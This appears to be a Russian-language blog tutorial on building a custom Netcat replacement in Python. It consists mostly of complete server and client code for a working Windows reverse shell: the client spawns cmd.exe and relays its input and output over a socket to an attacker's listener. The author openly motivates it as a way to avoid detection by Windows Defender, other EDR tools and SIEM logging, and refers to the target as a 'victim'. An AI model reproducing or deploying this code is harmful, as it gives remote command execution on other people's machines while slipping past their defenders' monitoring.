October 11, 2023

Создайте свой собственный Netcat, используя Python

Зачем создавать собственную версию Netcat? Вот несколько причин:

  • Защитник Windows для конечной точки — это по крайней мере одно решение EDR. Я могу подтвердить, что оно блокирует/помечает его, если оно используется в Windows. Я уверен, что другие решения EDR тоже это обнаруживают.
  • Даже если он не обнаружен, он, скорее всего, где-то регистрируется и отправляется в SIEM организации.
  • Сокеты — это основная основа всего, что связано с C2, обратными шеллами/шеллкодами, RCE и т. д. Поэтому нам, вероятно, следует понять, как они работают!
  • Самый популярный шеллкод, созданный с использованием msfvenom, — это обратный шелл. Что произойдет, если вы не сможете создать обратную оболочку с помощью msfvenom…

Вышеупомянутые причины достойны изучения того, как создавать собственные серверные и клиентские сценарии сокетов, которые выполняют то же самое, что и Netcat, за исключением функции передачи файлов.

Ладно, я закончил болтать, начнем!

СерверПостоянная ссылка

import socket
import subprocess
import sys
import time
import threading
import asyncio
import io
import os
#import readline
import colorama
from colorama import Fore, Back, Style

host = "0.0.0.0" # No IP restrictions for the IP to be used for a connection
port = 4546 # the selected port we will use for listening for a connection 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  #type of socket, in this case IPV4 addresses are expected to be used
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #allow reusing this socket for multiple connections
s.bind((host, port)) #bind to our set IP/port
s.listen(5) #  queue up as many as 5 connect requests before refusing additional connections
print(Fore.YELLOW + "[+] listening on port "+str(port), Fore.WHITE)

conn, addr = s.accept()
print(Fore.GREEN, f'\n[*] Accepted new connection from: {addr[0]}:{addr[1]}', Fore.WHITE)

Это базовый шаблон для привязки к указанному вами IP/порту, который можно найти в приведенном выше коде. Вот и все! Приведенный выше код — это все, что необходимо для привязки к вашему IP/порту и прослушивания удаленных подключений.

КлиентПостоянная ссылка

import argparse
import socket
import subprocess
import sys
import threading
import os
import time
from win32com.shell import shell

host="127.0.0.1" # ip of the listening server we wish to connect to
port=4546 # port for the listening server we wish to connect to
    
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #IPV4 TCP/IP networking
try:
    client.connect((host, port)) #connect over to our server!
except:
    print("server/socket must have died...time to hop off") #self-explanatory
    os._exit(0)

Это базовый шаблон для подключения к вашему прослушивающему серверу. Написать клиент даже проще, чем код сервера! 😸

Код в действии!

Хорошо… это невероятно просто. Я понимаю. Просто подожди… Это еще не все. Я использую это как возможность объяснить основы вплоть до отправки оболочки на сервер. Повесить там!

Вступление: Python Threading!

Теперь нам нужен способ настроить отдельные фоновые «рабочие» потоки, которые будут постоянно получать и отправлять данные через наш сокет. Python делает это проще простого! Мы настроим два потока:

  • Первый поток выполнит наш код, содержащийся в функции shellreceiver(). Эта функция будет постоянно готова к получению возвращаемого командной оболочкой cmd клиента сокета STDOUT (вывод «оболочки» клиента).
  • Второй поток будет запускать наш код, содержащийся в функции shellsender(). Эта функция будет постоянно готова отправлять ваши команды, которые вы хотите выполнить на клиенте, поскольку на клиенте будет запущена оболочка cmd.exe.

Надеюсь это имеет смысл. Признаюсь, мне потребовалось некоторое время, чтобы наконец понять, как работает оболочка. Пример, на котором я строю, — это то, как выполняется классическая обратная оболочка. Ваша жертва запускает клиент обратной оболочки, который запускает cmd.exeпроцесс и передает выходные данные в ваш сокет. Затем он отправляется на ваш прослушивающий сервер. Как только наш прослушивающий сервер получает выходные данные оболочки, мы отправляем команду обратно клиенту для выполнения. Кстати, клиент также находится в состоянии прослушивания через потоки, что мы увидим позже. Хорошо, давайте посмотрим обновленный код:

Обновлен код серверного сокета.Постоянная ссылка

import socket
import subprocess
import sys
import time
import threading
import asyncio
import io
import os
#import readline
import colorama
from colorama import Fore, Back, Style

#receive the cmd.exe shell command output from the client
def shellreceiver(conn):
    while True:
        try:
            data=conn.recv(1)
            print(data.decode(), end="", flush=True)
        except:
            print("server/socket must have died...time to hop off")
            conn.close()
            os._exit(0)

#send our command we'd like executed on the victim/client!
def shellsender(conn):
    while True:
        mycmd=input("")
        mycmd=mycmd+"\n"
        try:
            conn.send(mycmd.encode())
        except:
            print("server/socket must have died...time to hop off")
            conn.close()
            os._exit(0) 

host = "0.0.0.0"
port = 4546

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(5)
print(Fore.YELLOW + "[+] listening on port "+str(port), Fore.WHITE)

conn, addr = s.accept()
print(Fore.GREEN, f'\n[*] Accepted new connection from: {addr[0]}:{addr[1]}', Fore.WHITE)

#New code starts here. This initiates our threads!
##################################################
s2p_thread = threading.Thread(target=shellreceiver, args=[conn, ])
s2p_thread.daemon = True
s2p_thread.start()

s2p_thread = threading.Thread(target=shellsender, args=[conn, ])
s2p_thread.daemon = True
s2p_thread.start()
##################################################

#continuous loop
while True:
    time.sleep(1)

Теперь давайте вернемся к клиентскому коду и внесем все необходимые изменения, чтобы включить в него многопоточность.

Обновленный клиентский кодПостоянная ссылка

import argparse
import socket
import subprocess
import sys
import threading
import os
import time
from win32com.shell import shell

#cmd.exe has now executed our command this client received from the server. Now we send the STDOUT result of that command after it ran via cmd.exe!
def shellstdout_sender(client, myshellproc):
    
    while True:
        output=myshellproc.stdout.read1()
        try:
            client.send(output)
        #basic exception handler to kill the process for cmd.exe if we cannot reach the server
        except:
            print("connection died...")
            subprocess.Popen("TASKKILL /F /PID {pid} /T".format(pid=myshellproc.pid))
            client.close()
            os._exit(0) 
#send errors (example: you typed 'net usr' intead of 'net user'. This will show you the error produced by cmd.exe    
def shellstderr_sender(client, myshellproc):
    
    while True:
        output=myshellproc.stderr.read1()
        try:
            client.send(output)
        #basic exception handler to kill the process for cmd.exe if we cannot reach the server
        except:
            print("connection died...")
            subprocess.Popen("TASKKILL /F /PID {pid} /T".format(pid=myshellproc.pid))
            client.close()
            os._exit(0)

#This function will take the command the server sent to this client, write it to the cmd.exe console, and execute it
#The shellsender() function will send the results of the executed command back to the server / attacker        
def shellreceiver(client, myshellproc):
    while True:
        try:
            data = client.recv(1024)
            if len(data) > 0:
                #if you type :leave: in the server/attacker console it closes the connection.  similar to 'exit' but just a custom version of that that I like to implement
                if ":leave:" in data.decode("UTF-8"):
                    subprocess.Popen("TASKKILL /F /PID {pid} /T".format(pid=myshellproc.pid))
                    client.close()
                    os._exit(0) 
                myshellproc.stdin.write(data)
                myshellproc.stdin.flush()
        #basic exception handler to kill the process for cmd.exe if we cannot reach the server
        except:
            print("connection died...")
            subprocess.Popen("TASKKILL /F /PID {pid} /T".format(pid=myshellproc.pid))
            client.close()
            os._exit(0)

# start the command shell and pipe it's contents to stdin, stout, and stderr        
myshellproc = subprocess.Popen("cmd.exe", stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

host="127.0.0.1"
port=4546
    
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    client.connect((host, port))
except:
    print("server/socket must have died...time to hop off")
    os._exit(0)

#This initiates our function threads!
###############################################
s2p_thread = threading.Thread(target=shellstdout_sender, args=[client, myshellproc])
s2p_thread.daemon = True
s2p_thread.start()

s2p_thread = threading.Thread(target=shellstderr_sender, args=[client, myshellproc])
s2p_thread.daemon = True
s2p_thread.start()

s2p_thread = threading.Thread(target=shellreceiver, args=[client, myshellproc])
s2p_thread.daemon = True
s2p_thread.start()
###############################################

#continuous loop
while True:
    time.sleep(1)

Демонстрация сервера/клиентаПостоянная ссылка

Если вы зашли так далеко, то поздравляю! Извините, я больше не комментировал код. У меня не так много времени, чтобы я мог посвятить эти статьи, но я постарался подробно описать основные аспекты функциональности обратной оболочки сервера/клиента, чтобы вы могли написать свою собственную и построить на ее основе 😸

Если вам нужен необработанный код, просто перейдите сюда и вы сможете получить как сервер, так и клиент: код сервера/клиента

Как всегда, спасибо, что читаете!